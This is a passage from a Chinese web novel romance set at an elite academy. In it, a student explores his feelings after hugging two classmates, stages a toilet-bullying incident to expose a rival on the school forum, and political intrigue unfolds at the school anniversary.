周谢别开脸,把伞送回莱昂头顶,“不过去打个招呼吗?” 莱昂神思归位,刚才给时野脱敏的坏劲儿通通跟着雨水落地, 面色生冷,把蛋糕往地上一扔,径直走向别墅大门。 雨水浸透金色的发丝,水珠顺着发尾滴在肩头,莱昂走到温绒身边, “怎么这么早就过来了。” “……” “温绒?” 温绒这才抬头,脸上迷茫,“学长,你怎么湿成这样。” “没事。”莱昂唇边终于浮起笑,“怎么这么早就过来了。” “我来找时野学网球。” “嗯,你跟我说过这件事。”顿了下,“进去吧,正好我们今天要聚一聚,一起。” 周谢不满地想,就算真的要利用温绒来改变联邦的格局,也不应该每次都把他拉进四人的聚会里。 “学长,你们的聚会我就不参加了。” 竟然拒绝? 莱昂显然比他还震惊,笑容僵硬,“你等会儿有事吗?” “……嗯。” 不敢直视,犹犹豫豫,明显的撒谎特征。 为什么穿女装那天撒谎撒得得心应手,在莱昂面前的表演却这么拙劣? 莱昂也是顺着他,“雨很大,我开车送你。” “不用,我……” 周谢斜眼过去,鼻子喘出粗气表达心中莫名的不满。 正正走上台阶,“嘎噔”合上自动伞。 温绒忽然走向时野,“你这里有没有多的伞。” “有。”时野迅速拉门把手,出奇地紧张,没让开,脸砰一下撞到门,向后倒退半步,来不及喊痛,捂着鼻子进去。 十几秒后,拿着把伞冲出来交给温绒。 温绒说了谢谢,撑开伞忙不迭跑进雨里。 周谢望着走远的消瘦背影,又望向满脸紧张的时野,忍不住嘲笑:这紧张样儿,像偷情被正宫抓了似的。 “正宫”散去脸上的假笑,“时野。” 时野别开脸,“嗯。” “我们单独聊聊。”- 皮鞋里进了水,踩下去跟挤海绵似的,明显感觉到液体在脚趾缝里窜。 咚咚咚咚 咚咚咚咚 温绒的心脏依然在狂跳,像犯事跑路的小偷,明明没有被追,却在逃亡中无法控制身体的反应。 在抵达100室的那一刻,吊在胸口的气一并呼出。 “怎么了?”林启正从电脑后面探出脑袋,眼睛瞪大,“老幺,雨这么大你在黒鸽上联系我就好了,干嘛跑过来。你……你你赶紧把鞋脱了,还有裤子,我让社长拿点衣服过来。” 温绒把伞合上,可是伸手摸用力拽了下伞顶,伞架纹丝不动。 “自动伞,你摁一下把手边的按钮。” 温绒在把手边找到按钮,伞果然自动收了起来,就像刚才周谢站在台阶上做的那样。 刚才…… 温绒犹豫着喊:“学长。” “快关门,雨都飘进来了。” 雨声炸耳,温绒胸口的激动在喊出声后继续喷薄而出,无法压住。 他用力说:“学长你能抱我一下吗?” “什么?” “你能抱我一下吗?” 温绒补充说明:“我想跟你拥抱。” “啊?” 林启正怎么也没想到温绒会突然来这么句骇人的话。正常关系哪有叫人家抱自己的,“这个,不……不合适……” 随即想到只有情侣之间才会抱来抱去,再次惊道,“你你你不会是喜欢我吧。” 温绒甩头,脸颊上全是发尾甩出的水渍。冷得发白的脸上露出片刻犹疑,“不可以吗?” “卧槽,老幺你真的喜欢我?” 温绒一愣,再次甩头,“不是,我只是问不可以拥抱吗?” “哦——” 林启正抚着胸口松了气。然而等回味过来,又把这口气吸回去,“你怎么要突然要抱,两个男的抱在一起多尴尬。” “我……” 温绒自己也不知道答案。 不过他听得出林启正学长拒绝了自己,不好意思再说,微垂着头,转身要走。 “欸,老幺——” “学长,我回宿舍洗个澡。” 温绒又跑回宿舍。 温水跟雨水不同,落在头顶,结块的头发被冲顺,混乱的思绪也随着温度的上升而蒸发。 温绒的脑子渐渐空了,只剩下心脏在右边胸口跳动的感觉。 那不是他的心跳,是时野的。 和时野拥抱的时候,四肢像被胶水粘在墙上,一动不能动,可胸口装着气球,在狭小的空间里撑得大大的,啪啪啪啪,两个气球为了争抢地盘打得不可开交。 不过温绒打不过时野,因为时野没有被粘住,他的下巴跟双手都在帮忙,肩膀和后背溃不成军。 “哥哥。” 【嗯?】 “我想跟时野组建家庭。” 【什么?】 身为机器人的系统短暂出现卡顿情况,实在不敢相信,又问:【你淋雨发烧了?】 “我觉得被他抱着很舒服。” 温绒此刻的心情跟第一次和新闻社外出团建一样激动。 又有些区别。 当时是心里面感到满足,现在是身体感到满足。 是的,身体。 温绒抬手做出个环抱空气的姿势,回味那种拥抱的感觉。 好像时野变成了全世界跟自己最亲近的人,比新闻社的学长们还要亲近,不会分开的亲近。 【宿主,没有人会为了抱一下就组建家庭。】 “这样吗……” 温绒垂下头,水打在后脑勺,皙白的后颈被烫得通红,翘起一节颈椎的骨头。 【莱昂让你看过的视频里面有组建家庭必须做的事,你想跟时野做那种事吗?】 学长发给自己的视频! 温绒眼前恍然出现金色头发蓝色眼睛的身体,拥抱,耸动,急促的呼吸声从遥远的记忆匣子里飘出来。 此时再想起来,有别样的理解。 原来拥抱是这种感觉。 因为有这种感觉,所以视频里的两个人才意乱情迷,而自己那天做的只是“疏解”。 跟时野拥抱着做那种事…… 温绒脸颊浮现异样的红,双手捂脸,“哥哥,你能再休眠半个小时吗?” 半小时后。 洗手池上手机震动,张麟来消息问王艾伦那边该怎么处理。 温绒又一次喊系统,“哥哥……能再休眠半个小时吗。” 系统:【……】 记忆力太好不是好事,温绒情动疏解,脑海中却一直出现视频画面和跟时野拥抱的画面。 每当这个时候,温绒就会停止,花很多时间冲散那种“使用别人”的罪恶感- 时野一夜没睡。 原因很多。 拥抱的感觉稍众即逝,即使再回忆,也记不起任何细节。 只有“需要抱一下你吗”这句话还在脑子里。 时野用力记这句话,他记忆力向来很好,也足够专注,可是不知道为什么,到后半夜,这句话就变成“我想抱你”。 再再后来,变成手机屏幕里——温绒的照片。 汹涌澎湃的感觉随着沉重的吸气一起到来,时野抓起枕头抱在双臂之间,却产生了莫名的情绪:空虚。 不是。 不对。 温绒没这么软。 看起来很瘦很弱的人,其实是硬骨头,下巴往肩膀上一靠,就能扣到锁骨上面,咯得下巴痛。 深沉的夜,窗外一片黑暗,浴室底隐隐约约透着光。水声哗然,雾面玻璃勾出一道佝偻的背影。 呼哈呼哈呼哈。 时野撑着墙,埋头喘息。 直到天微微亮,王西杰打电话来叫他收拾东西。 今年的网球公开赛马上开始,接下来一个月他都要在外面奔波。 时野不怎么乐意地应两声。 “你感冒了?” “咳咳咳……没有。” “比赛前注意身体,我听说王艾伦失去工作室的使用权了,你这次要是输掉比赛,特别是赵泽阳,他被退学后加强了训练,几次训练赛都有很大进步,你要是输给他,别墅不一定还能继续用,你的家当要另寻地方了。” 时野继续随便应两声,并没有被这样的“危机”吓到。 擦干身体的水分,电话也正好挂断。 王西杰终于不再占用他的手机屏幕,温绒的照片重新回来。 我抱了温绒! 还是在莱昂面前! 时野暗暗较劲。 这比上次食堂二楼误会温绒跟莱昂接吻更厉害。 “从温绒的角度来说,喜欢他的人越多,他就越安全。” “你喜欢他,我很欣慰。” 艹! 怎么想到莱昂了。 时野颤着手点了支烟,用尼古丁压下莱昂带来的“激动”。 但行动失败,时野把烟丢在地上,用鞋踩灭。 莱昂凭什么用这副正宫的语气说话? 温绒又没喜欢他。 越想越气,时野一拳打上玻璃,细细密密的伤口再次渗出血。 “以你争强好胜的性格不可能跟任何人分享,很巧,我也不想跟人分享。但你跟时竞不一样,我愿意跟你公平竞争。” 多有底气,才能说出“公平竞争”这四个字。 时野过去的人生里,80%的时间都在竞技。 每次比赛,他也会给第二名说“公平竞争”,就连开学建新网球社,他也敢给赵泽阳说“公平竞争”。 因为胜券在握。 所以莱昂说这些话的时候,那心里多得意,开学时就他对温绒好,温绒肯定会喜欢他。 时野把剧痛的拳头摁向墙面强迫自己清醒。 也好。 这样也好。 公平竞争总比闹翻要好。 而且莱昂还说,喜欢温绒的人越多,温绒越安全。 他想把温绒推到风口浪尖,温绒现在也在风口浪尖,光一个周谢就让温绒难受,接下来还会有更多难缠的人。 温绒需要很多助力。 时野眯起眼睛,默默地想,不知道学生会会长的位置能不能保着温绒接下来不再被罚红牌。 周谢明年毕业,莱昂肯定对学生会会长的位置不感兴趣,而且他说不定还会提前毕业,只要搞定李奥,学生会会长的位置就是他的。 滋—— 一声震动打断时野的思绪。 时野讨厌这些挡住温绒脸的东西,正要把黒鸽退出登录,屏幕上方弹出网球社的群消息。 [王艾伦有点过了吧?为什么要把温绒关进厕所里。] [哪来的消息?] [论坛啊。] 林启正:[完了,老幺被王艾伦关厕所里了。] 黒鸽论坛 《黒鸽新闻简报:今晨,特招生与王艾伦在食堂发生口角,王艾伦一怒之下把特招生关进了食堂厕所。》 发帖人:温绒 时野望着这个帖子无言半秒,点开。 [本人发帖?牛。] [当事人写的新闻应该算是最有权威的新闻报道了吧?] [什么事什么事,快讲讲。] [我在现场!早上在食堂正好看见我老婆跟王艾伦吵架。] [又吵?这次是为什么?] [还能为什么,就抄袭那事儿呗。王艾伦不承认抄袭,我老婆说那些设计稿是张锦程当着他的面画的,王艾伦就气疯了。] [是会气疯,他因为抄袭这事丢了工作室,好像还被设计师协会警告了。] [退单的应该也不少。] [理解不了一点,王艾伦竟然说我老婆跟张锦程睡过!] [有点过分了,竟敢造谣我戴绿帽子。] [靠,真的?] [废话,气得我当场喝了三瓶汽水。] [那怎么把我老婆关厕所里去了。] [我老婆啊,就是一根筋,他压根不搭理王艾伦的造谣,继续说王艾伦抄袭,王艾伦气炸了,叫了几个人一起把他推进厕所里头要扒他的裙子。] [靠……我记得王艾伦那个圈子玩得很花。] 看到这里时野发现屏幕在晃,其实是他的手在抖。 抖着抖着,新弹出一条消息。 温绒:[经小编采访,厕所里温度在0°左右。]? 不确定,再看一眼。 温绒:[王艾伦带两名男生禁止特招生出去,特招生状况十分糟糕,已出现晕眩状况。] 艹! …… 天很冷,冷到完全闻不到厕所的味道。温绒手指并不利索,输入一段删掉一段,要花两倍的时间才能打完一串字。 “砰”,很响砸门声响起。门锁摇晃,摇摇欲坠。 王艾伦:“你他妈给我出来我今天绝对弄死你。” 温绒继续发帖:[王艾伦称,今天要弄死当事人。] 点击发送。 “砰” 与此同时,门外传来恐怖巨响。 温绒迅速改变位置,背用力抵着门防止王艾伦破门而入。 碰撞声持续,夹带的痛呼声突然让温绒意识到,那不是砸门,是有人砸到了门上。 时野来了。 温绒这样猜。 他算好时野会来的。 时野来把“王艾伦将温绒关进厕所”的这件事解决掉,自己跟他对个口风,再“生一场大病”,就可以从论坛的舆论里猜出自己跟王艾伦谁的分量更大了。 就算到时候王艾伦的分量更大也没关系,他心里有了底,才好做新的计划。 “温绒,开门。” 温柔的声音突兀出现在空气里,温绒思绪一顿,不自觉回头。 隔着这间厕所的破旧木门,他仿佛看见莱昂学长站在外面。 可是刚才的动静…… “开门吧,大门我已经锁了,他们出不去。” 温绒犹豫着,拉开门。 莱昂学长穿着工装服,像是刚从校务楼跑来的,领上的扣子都还没扣好。 因为昨晚上的“罪恶感”,温绒有点心虚,不太敢看他。 “冷吗?” 温绒迟疑着点头,遗憾自己计划失败,正想着弥补的办法。突然肩膀一重,整个人被推回隔间里。 啪。 隔间的门被反锁,一片阴影挡在面前。 “学、学长。” “嘘——还有人来。” 果然,两秒后外头响起门被重重弹在墙上的声音。 “温绒。” 是时野。 温绒计划里的人来了,可是感受不到丝毫完成计划的快乐。 莱昂学长当着他的面敲了两下门,打开锁。 咔擦—— 时野拉开门瞬间,表情骤然变化,“你怎么在这里。” 莱昂:“进来。” 时野:“……” “三秒钟选择。一、三——” 温绒被往里一挤,感觉自己真正被关厕所了,面前两座大山,把他挡得严严实实。 时野眼睛下瞥,看温绒跟莱昂靠近的部位,确定没牵手之类的才开口问:“他们三都晕了,干嘛这样。” 莱昂:“温绒,发帖,把周谢骗过来。” “啊?” “又关厕所又发帖,目的性太明显,领导们看得出来。你需要更多证人。” 温绒了然,打开黒鸽论坛打字:[当事人还穿着总统之子喜欢的裙子,要是冻死在厕所,裙子应该能大卖吧。] 五分钟后。 守株待兔的三人成功等来气冲冲的踢门声。 幸好刚才莱昂学长反锁了,不然三人都要被门砸。 “出来。” 生冷的声音把厕所的空气都冻得下降好几度。 “出来!” 温绒被吓得浑身一抖,莱昂学长拍拍他的肩膀暗示“没事”,开锁拉门。 周谢下巴压低,眼珠子离开下眼皮,目光阴森。 将要开口,门外忽然传来几个女人说话的声音。 莱昂脸上泛起笑容,“忘了告诉你,这是女厕所。” 女厕所! 男校里多么贫瘠的存在,只有雇佣女员工的食堂这边才有。 周谢表情微变,猛一下冲进隔间,时野被挤到马桶的另一边角落,莱昂笑盈盈关门。 预料之中,两秒后门外想起食堂阿姨们尖叫的声音,大喊“死人了”——因为王艾伦三人还晕厥在洗手池边。 莱昂趁着喧闹,问周谢:“进来干什么?” “……” “问你呢。” 周谢沉着声答,“尿急。” “那你尿。” “……”周谢回答不出来,敌意转移到始作俑者身上,“你又搞什么。” 温绒:“……” “为什么进女厕所。” 温绒指了指下摆,“我穿的裙子,王艾伦说我那么喜欢当女的,就进女厕所。” “昨天也没见你穿。” 温绒小心低头:“早上去时野那里打网球应该遇不到你,所以我悄悄不穿。” “……” “好了,这些女装的事以后再说。会长,你现在要当一个闯进女厕所的变态,还是要当一个进女厕所拯救特招生的英雄。” 周谢不说话,眼神狠厉,几乎要把温绒瞪穿。 温绒缩了缩脖子,生怕周谢早这么逼仄的空间里给自己一拳。 毕竟这里距离很近,他一拳过来学长跟时野不一定能救,自己也不一定能躲。 “快点决定,不决定的话等会儿就我们三出去。”莱昂说完看时野,“时野,你把他锁里面,等会儿阿姨们回来正好可以帮他开门。” 周谢蓦然抬眼,难以置信。 “快——” 周谢:“……” “沉默就当你同意了。” 周谢终于闷闷“嗯”一声。 意见达成一致,四人从狭小的隔间鱼贯而出,在阿姨回来之前溜出女厕所。 目送周谢气冲冲的离开,温绒才发现莱昂学长跟时野身上都只穿着单薄的一件,好像从空调房里着急跑出来的。 温绒抱歉道,“对不起,没有提前给你们说。” 时野:“你又不知道王艾伦会欺负你,没事就好。” 温绒良心一痛,说不出话。 时野又说:“我送你回去。” 莱昂笑眯眯道,“温绒,你是不是有话要跟我讲。” 温绒:“!” 时野:“?” “是,是的。学长我们单独聊一聊。” “时野你先回去吧。” 时野猛然一顿,深深望莱昂一眼,在莱昂的假笑中强忍住挥拳的冲动,假装平静地离开。 莱昂学长送温绒去100室,路上温绒给他坦白事情原委。 早上确实跟王艾伦吵架了,王艾伦找事后他故意激怒,然后王艾伦嘲讽他穿女装,说他可能真的是女人,强行带他去厕所“一探究竟”。 温绒习惯这种被抓去厕所的事,所以一进门就冲进隔间反锁。同时脑子里迅速做计划,让林启正把时野找来,时野人高马大打架厉害,能制住王艾伦们三个人,还有合作经验,能配合自己演戏。 “早就准备这样算计王艾伦了?” 温绒不会骗莱昂学长,“想算计他,在这之前就……就做一些简单的推动。但我没有刻意引导他看我的裙底,我只是在他欺负我的时候顺水推舟,想一些利益最大化的办法。” 一只手落在温绒脑袋上,“脑子真灵光。” 意外被夸,温绒缩了缩肩膀,忍不住笑。 “明天别穿女装了,天这么冷,腿凉。” “嗯。” 温绒点头,正好也到了校务楼,拐个弯,就进入专属于100室的小道。 温绒想到什么,突然停住。 “怎么了?” “学长,可以跟我拥抱吗?” 莱昂愣了瞬,勾起唇角,“为什么?” “我也不知道。”可能是学长教自己很多知识,所以温绒能跟他说出自己的疑惑:“昨天我跟时野拥抱,那种感觉很舒服。” “所以你想知道我抱一下你会不会同样舒服?” 温绒点头。 “嗯,那来吧。”莱昂站定,“你来试试。” 温绒张开双手靠近学长。 “不要捆住我的手,只环着腰。” 温绒改变动作,手从学长的手臂跟腰的缝隙里穿过,牢牢环住腰。 温绒心中平静,有些怪。 那种感觉好像只对时野有。 “什么感觉?” 温绒:“没有感觉。” “你昨天抱时野是什么感觉?” “靠得很近,好像黏在一起一样。” “那这样呢。” 忽然有什么东西撞到温绒的后脑勺,脑门往前一冲,贴到冰凉的扣子。 更凉的是学长的脖子,被风吹成了冰块。 温绒的脑门贴在那儿,像一个暖宝宝,慢慢融化,甚至有冰块坠下,在脑门上滚。 是学长的喉结。 “这样呢?” 学长说话,喉结就传来震撼,酥酥麻麻,震得温绒后背泛起鸡皮疙瘩。 喉头干涩,要吞咽唾液才能紧张地答:“有、有一点。” “比不上时野给你的感觉?” “嗯……” 声音还在喉咙里传播,温绒的身体突然被捆着提起来,手臂外侧承担巨大的压力。 顷刻间,他被迫踮起脚尖,慌张之下感觉地板是软的,好像踩到……学长的脚。 “学、学长?” “现在呢?还是比不上时野吗?” “……” 温绒真切感受到学长的身高和力量,在这样的禁锢中,他就连思考怎么做才对自己最有力的机会都没有,兴奋充盈着他的大脑,心跳如雷。 “喜欢这样吗?” “……” “小笨蛋,要诚实回答学长才能告诉你答案呀。” 温绒彻底埋进学长的胸口,“嗯。” “温绒,你是一有记忆就在福利院吗?” “嗯。” “全联邦的福利院都有一个不成文的规定,无论是福利院的员工还是去做志愿的人,不允许抱福利院里面的孩子。因为这些小孩在福利院里得不到长期稳定的亲属关系,短暂地给予他们任何一点温情,包括拥抱这样简单的事,都会让他们深刻体会到他们跟普通小孩真正的区别。” 温绒的心跳突然静止。 即使学长说的是全联邦,但在上辈子的福利院里,也没有人抱过他。 “就像现在,你感受到了拥抱,就会想要更多。” “我这样抱紧你,让你感觉到我迫切地需要你。” “温绒,福利院的生活很孤独,你渴望跟世界上的其他人建立亲密联系。” 第77章 第 77 章 要他! 翻开习题册最后一页, 绞尽脑汁也想不到的答案突兀出现在眼前。 温绒的眼睛蓦然瞪大,浅浅的眸子含在一汪水里,眼睫扫过, 泪花吧嗒变成工装服上的一点印子。 细长的鼻梁在这一刻轮廓渐深,连着泛粉的鼻尖。 莱昂伸手拂过皱成“八”的眉间,短暂一瞬,眼皮连带着眼尾一片通红,嘴巴扁扁,一看就知道受了委屈。 莱昂知道这个时候应该让温绒把情绪宣泄出来,可他一点都不想看到温绒哭。 “不要哭。” 临近九点, 没课的学生陆续来校务楼参加社团活动,个个举着手机聊黒鸽论坛里的八卦。他们走近了,又走远, 短暂带来的笑声在空气里盘旋一圈,消解咬唇压抑的低泣。 温绒很乖地抽两下鼻子,大概觉得不好意思, 脚尖点点,想要站正。 莱昂垂眸问:“这段时间有看我发给你的视频吗?” 眼泪彻底止住了, 也可以说说在这么冷的天风干了,卷长的眼睫拧成几簇,慌张又轻微地颤动,是心虚的表现。 莱昂猜, “看了?” “……没。” 莱昂追问:“还记得里面的内容吗?” 那些眼泪带出来的红四处蔓延,温绒头埋得更低,细碎的头发下,藏着感染后的红,火焰一样, 温度烘烤莱昂的眼睛。 莱昂压着嗓子,“24分37秒。” “那个金色头发的男人也是这样抱着他的……男朋友。” “如果你哭,就跟那个场景一模一样。” 胸口传来明显的顶撞,莱昂感觉到温绒重重吸了口气。 “哗啦”半米距离,一扇窗子被人拉开,强制打断莱昂要说的话。 “嘶——开窗干嘛,冷死了。” “还不是因为你抽烟,熏死了。” “啪啪” 脚用力踩在地上,又接着说:“灭了,赶紧关窗户。” “不行,味道还没散。” “不是你堵在我宿舍门口说喜欢我的时候了?抽个烟都嫌我,昨晚也嫌我夹得不够紧,正常夫妻七年才有怠倦期,你他妈才几个月就——唔唔” 诡异的碰撞声就像是漫进耳朵里的水,耳膜隆隆隆鸣叫,温绒背后泛起鸡皮疙瘩,身体不受控地抽动。 惊吓过度,瞪着大眼睛好半天没有反应。 “艹你妈的,关窗。” “谁做两下就嚷腿没力气?” “你他妈那么用力——” 打断:“不准再骂脏话。” “唔唔关、关窗——老子叫你关——” 再打断:“外面没人。” “放屁,呼哈——新闻社的天天从外面过,要是被林启正拍到床照挂论坛上,老子死也要绑着你去跳湖。” 啪 震耳的关窗声更像是什么东西砸在地上,温绒吓得浑身一抖。 脚跟落地,校务楼后面的草坪吹来一阵凉风,胸口比后背感觉更明显,因为胸口的热量被一阵阵刮走。 一只手温柔地落在温绒头顶,声音比刚才更轻,好像被别人发现。 “去吧。” 温绒像得到指令的机器人,绷着脊柱90°转身,直着膝盖往100室的大门走。 如果这不是小说世界而是漫画世界,那作者一定会在他的脑袋旁边圈出一片小云,云里都是打着马赛克的18x画面。 在100室门口蓦然站住,温绒迷迷糊糊地呼唤系统。 “哥哥。” 【嗯……】 “我想跟学长组建家庭。” 【嗯,你也想跟时野组建家庭。】 “嗯。” 【嗯???】 “跟时野在一起的时候想跟他组建家庭,跟学长在一起的时候想跟他组建家庭……” 顿了顿,“我觉得跟他们在一起的时候很舒服,那种感觉好奇怪。” 【那你会想跟新闻社的三个组建家庭吗?】 “林启正学长好像不愿意抱我。”温绒懊恼地垂头,“不过如果可以的话——” 系统打断温绒,【不可以。】 【宿主,你只是需求突然被打开,失去理智了。你以前班上应该有同学爱去网吧游戏机室吧,他们都是身体控制不住欲望的表现。】 【你现在跟他们一样。】 温绒猛然抬头,恍然大悟。 “哥哥,你是说我控制不住自己……吗?” 【嗯。】 欲望霎时间转化为深深的恐惧,温绒在系统的提醒下明白,自己沉溺于学长带来的心跳加速,“放纵了”。 他甩甩脑袋,强迫脑子清醒。 现在有更重要的事情要做,对,还有王艾伦要处理,不能放纵。 温绒在嘴里憋了口气,两边腮帮子鼓起,忍到不能忍的时候,张开嘴,“啪”,假想自己吐出来邪恶气光波。 随即他推开100室的门。 咔擦—— “老幺怎么还没回你消息,我看到他们三把他带出来了啊。” “你自己问他呗。” “我不敢,你问。” “你怎么了,从昨天到现在好像在躲老幺一样。” “这个……这个……” 温绒进门正好跟结结巴巴的林启正对上视线。 林启正眼睛被烫了一下,匆忙别开脸。 而后又犹犹豫豫回头来,小心跟温绒说:“老老老幺,我昨晚回去思考了一晚上,如果你真的……真的喜欢我,我愿意顶着当莱昂和时野情敌的危险跟你……你试一段时间,就试一段时间,试了后你就会发现我这个人特糟糕,远远不如时野跟莱昂。” 张麟:“哈?你发什么癫?” 温绒愣了下,在心里回味林启正这句话,没明白什么意思。 系统忍不住提醒,【你昨天让他抱你,他误会了。】 “啊!”温绒恍然大悟。 “啊?” “啊?” “对不起学长。”温绒真诚给林启正道歉,“我昨天只是放纵了。福利院的小孩不允许别人抱,我也是才发现自己从来没有跟人拥抱过,所以想跟别人拥抱一下,没有要骚扰你的意思。” 林启正震惊:“你不是喜欢我?” 温绒真诚:“我很喜欢你呀。” 林启正:“……” 张麟瞥一眼林启正,“少一个吹牛的案例,是不是很遗憾。” 林启正:“……” 放屁。 是第一次被人喜欢,结果纯粹是自己误会,他很尴尬! 林启正郁闷两秒,随即张开手扑到温绒身上,“哎哟,我们老幺从小到大都没被抱过,来,小可怜,学长帮你补起来。” 温绒吓得肩膀一缩,张麟及时拉住他,“抱什么抱,干活。论坛上好多人在问后续。” 林启正“哦哦”两声,松开温绒坐回电脑前。 手指刚敲上键盘,张麟侧身往温绒肩膀上一扑,“来,学长给你哥哥的拥抱。” “卧槽!阴险。” 张麟腾出只手下拉眼皮吐舌头,“怕你智商太低传染给老幺。” 噗嗤。 温绒被逗笑。 如果说拥抱是欲望,那跟新闻社的学长在一起也是欲望,温绒喜欢这样的感觉,允许自己放纵一下。 …… 黒鸽论坛 [人呢人呢,前方记者呢?现在什么情况?] [我第一次发现咱们学校新闻社这么有用,温绒忙着躲厕所我理解,林启正呢?张麟呢?都不跟进实时新闻的吗?] [快来个人告诉我吧,求求了。] 林启正:[前线来报,当事人的三位绯闻男友全部到齐,王艾伦被担架抬出厕所。] [卧槽!荷官也来了?] 林启正:[图片] 林启正:[照片为证。] 照片里,周谢走出厕所,微低着头,刘海盖住半块眼镜,一如往常的阴森。莱昂跟在他后面,保持着平时的微笑,再后面是时野的半张脸,心情似乎不错。 照片模糊,需要放大来看。 点击图片一放大,门旁边红色的“女”字比任何一张脸都引人注目。 [靠!女厕所?] 林启正:[对,王艾伦强行把当事人推进女厕所侮辱。] [虽然……虽然心疼老婆,但想到他在外面有三个身强力壮的野男人,我觉得还是该心疼一下自己。] [王艾伦,哥们这次不站你了。你让我醋昏迷了。] [后续呢后续呢,我老婆跟哪个野男人走了。] [现在重点是这个吗?重点是周谢跟我老婆破镜重圆,那我还能叫老婆吗?] 这么一问,黒鸽论坛顿时陷入沉默。 问题很严重。 他们这些人,从懂事那一刻就要学会看别人眼色行事。 早些时候肆无忌惮地喊温绒老婆,那是因为温绒只是个特招生,这次敢喊,是因为周谢的授意。 现在周谢都去帮温绒了,他们再这样喊,说不定已经上了荷官的记仇小本本。 很快,黒鸽系统发来通知,进一步让众人清醒。 [王艾伦在校内使用暴力,占用女厕所,罚黄牌。] 风向标出现,黒鸽论坛这边很快也有了新消息。 [学生会做得好!王艾伦这次过了,再怎么说也不该把温绒逼进厕所吹冷风,万一生病了怎么办。] [怀疑他就盗用张锦程的设计稿了,不然也不会这么激动。] 网线另一端,王艾伦躺在医务楼的病床上看到自己被集体讨伐,忍不住在帖子里回复: [老子欺负一个背着红牌的特招生有什么不对] [别忘了温绒抹黑学校。] 下一秒,黒鸽系统再发消息:[校庆将近,闹事学生一律按罚红牌处理。] “艹他妈的。” 进门的护士差点被手机砸到,两条腿迅速后弹,震惊又惶恐地看向王艾伦。 王艾伦下巴一点,“把我手机捡起来。” 护士犹疑了下,捡起手机还给王艾伦。 手机边角砸出一条裂缝,索性还开着机,能正常使用。 王艾伦打开通讯录,找到“小叔叔”,拨通- 自厕所事件后,日子安宁到仿佛活在童话世界。 周谢每天让李奥监控温绒的动向,确定他每天只在宿舍食堂教学楼图书馆100室个地方打转,稍稍放松警惕。 校庆当天,弗罗里曼学院增加两倍的人手,媒体和曾经在弗罗里曼学院就读的校友纷纷通过安检进入校园。 而在不需要安检的这道门,周谢作为学生会会长随同校长接待受邀参加校庆的优秀校友。 从前几天开始就被周谢强压着背所有优秀校友的资料,学生会众人一边透支体力一边消耗脑力,从凌晨忙到现在,表情都有些麻木。 直到优秀校友的车开始一辆一辆停在面前,学生会这群“小喽啰”表情立马变得生龙活虎,热情地把校友请下车。 只是这个热情行动得到的反馈都不一样。 经商的校友还好,时时面向大众,面上功夫不错,相处起来容易。 搞科研的校友排场大些。有些人调侃得不错,联邦的科技院是世袭制,有空来参加校庆的校友大多背后有十几个勤劳的科技民工,平时被伺候惯了,清高,享受被簇拥,又摆出臭脸表示“我不喜欢你们阿谀奉承”。 这种校友最难缠,在跟校长寒暄两句,发现校长不仅不跟自己一起走,还只安排个不知名的学生陪自己逛学校时,那脸彻底臭了,好像在说:我这么大的官,你还不放尊重点! 政界的校友最有排面,开开心心下车,身后跟三四个保镖,学生会也支出两三个人陪同,看着隔壁比自己差一截待遇的人,那笑容,不知道真诚多少倍! 当然,给予位高权重的校友特殊对待只是接待环节中最微不足道的一点。 周谢站在校长身边,过于板正的身形从一片黑压压中脱颖而出。 一辆防弹车出现在校门时,窗门倒映出他过于骨感的脸庞。 咔擦 车门打开,一个同样精瘦的中年男人下车,一丝不苟地梳着背头,露出骨骼分明的脸。 长久的蹙眉令他眉间有道“川”的纹路,不过这是荣誉的象征,让这个中年男人身上充满年轻人的“劲儿”,一点看不出来他已经有个将近二十五岁的儿子。 这是周谢的父亲,也是当今的联邦总统,周文栋。 周谢只有在见到父亲的时候,脸上才露出点喜色。 不过没有上前喊父亲,而是仍然克制地站在校长身边,等校长动作。 周文栋从车里出来没几秒,一个比周文栋还年轻的男人也从车里出来。 身姿挺拔,穿着深棕色的竖纹西装,没系领带,解开扣子的白衬衫里戴着红棕色花纹领巾,极尽优雅。 不动声色的周谢露出警惕姿态。 这是王斯辰,他父亲新一届选举的强力竞争对手。 优雅是他的伪装,如果真实和这个人接触就会知道,他内核是真正的悍匪。 这位悍匪的出现令校长都感到意外,因为他并非毕业于弗罗里曼学院,学校没有向他发邀请。 不请自来,倒显得学院礼数不周。 在畅聊间,王斯辰只说“碰见周文栋的车,顺道来看看。” 校长给了周谢个眼神,周谢会意,让人去找王艾伦。 王斯辰今年38岁,未婚,但他不是孤家寡人,上头有两个亲哥,大哥的儿子就是王艾伦。 眨眼功夫,周谢理顺王斯辰来校庆的真正目的。 王斯辰:“最近弗罗里曼学院的口碑不太好。” 果然如周谢所料。 校长:“都是些小事,过段时间就忘了。” “怎么能说是小事,民众提出来的都是大事。而且我听说,是有学生对学校不满才在网上发那样的文章。”王斯辰优雅瞥一眼学生会众人,“不知道是不是跟学生会管理不善有关。” 年纪比王斯辰还大的校长放低姿态赔笑,“学生会也是依照校规行事,弗罗里曼学院的校规跟法律一样严谨。” “还有抄袭……” 周谢手指在裤缝中间点了点,转身吩咐人去找张锦程。 下一秒,王斯辰果然继续说:“最近我妈在网上看见个姓张的小孩,对他的设计赞不绝口,不知道有没有机会见一见。” “当然可以,我这就叫人去找他来。” 戏台搭好,就等着演员就位。 “还有学校里那个梁……梁……” 校长询问:“您想说梁子力学吗?” “对。”王斯辰笑,“好的技术应该公开造福大众,要是一直藏着,民众就总会觉得政府不为他们服务,我们联邦也学帝国搞起了阶级。” 校长直觉不对,“您是说……” “我手下有全联邦最大的织造厂,最适合推广这项技术。” 周谢眼神一暗。 王斯辰背后有一条高定产业链,现在大众又追求张锦程的薄纱,想要抓住这个商机很正常。 毕竟在整个联邦,有钱人不一定有权,但有权的人必然很有钱,也比任何人都需要钱。 更重要的是,王斯辰拿到梁子力学的蚕丝不仅能赚钱,还能卡张锦程的命脉。 现在的情势其实很明显,张锦程跟王艾伦只能留一个。王斯辰必然保护他侄子。 校长肯定也想得明白,含糊道,“都是小孩子随便弄着玩的东西,您家里要是有亲戚朋友喜欢,可以找张锦程多做点。张锦程来了吗?” 话题又绕回张锦程。 蚕丝归属于梁子力学,但梁子力学不毕业,这项技术就基本等于归属于学校,把技术出让给校外这种事一旦开了头,以后哪个位高权重的都来掺一脚,弗罗里曼学院的决定权就不在校长手上了。 所以王斯辰想要,校长不给,张锦程接下来会成为挡箭牌和出气筒。 周谢脑子一阵疼,疼的同时转身再找两个人,让他俩去把温绒拦住,无论是关厕所也好还是打晕也好,不允许温绒出现在王斯辰附近。 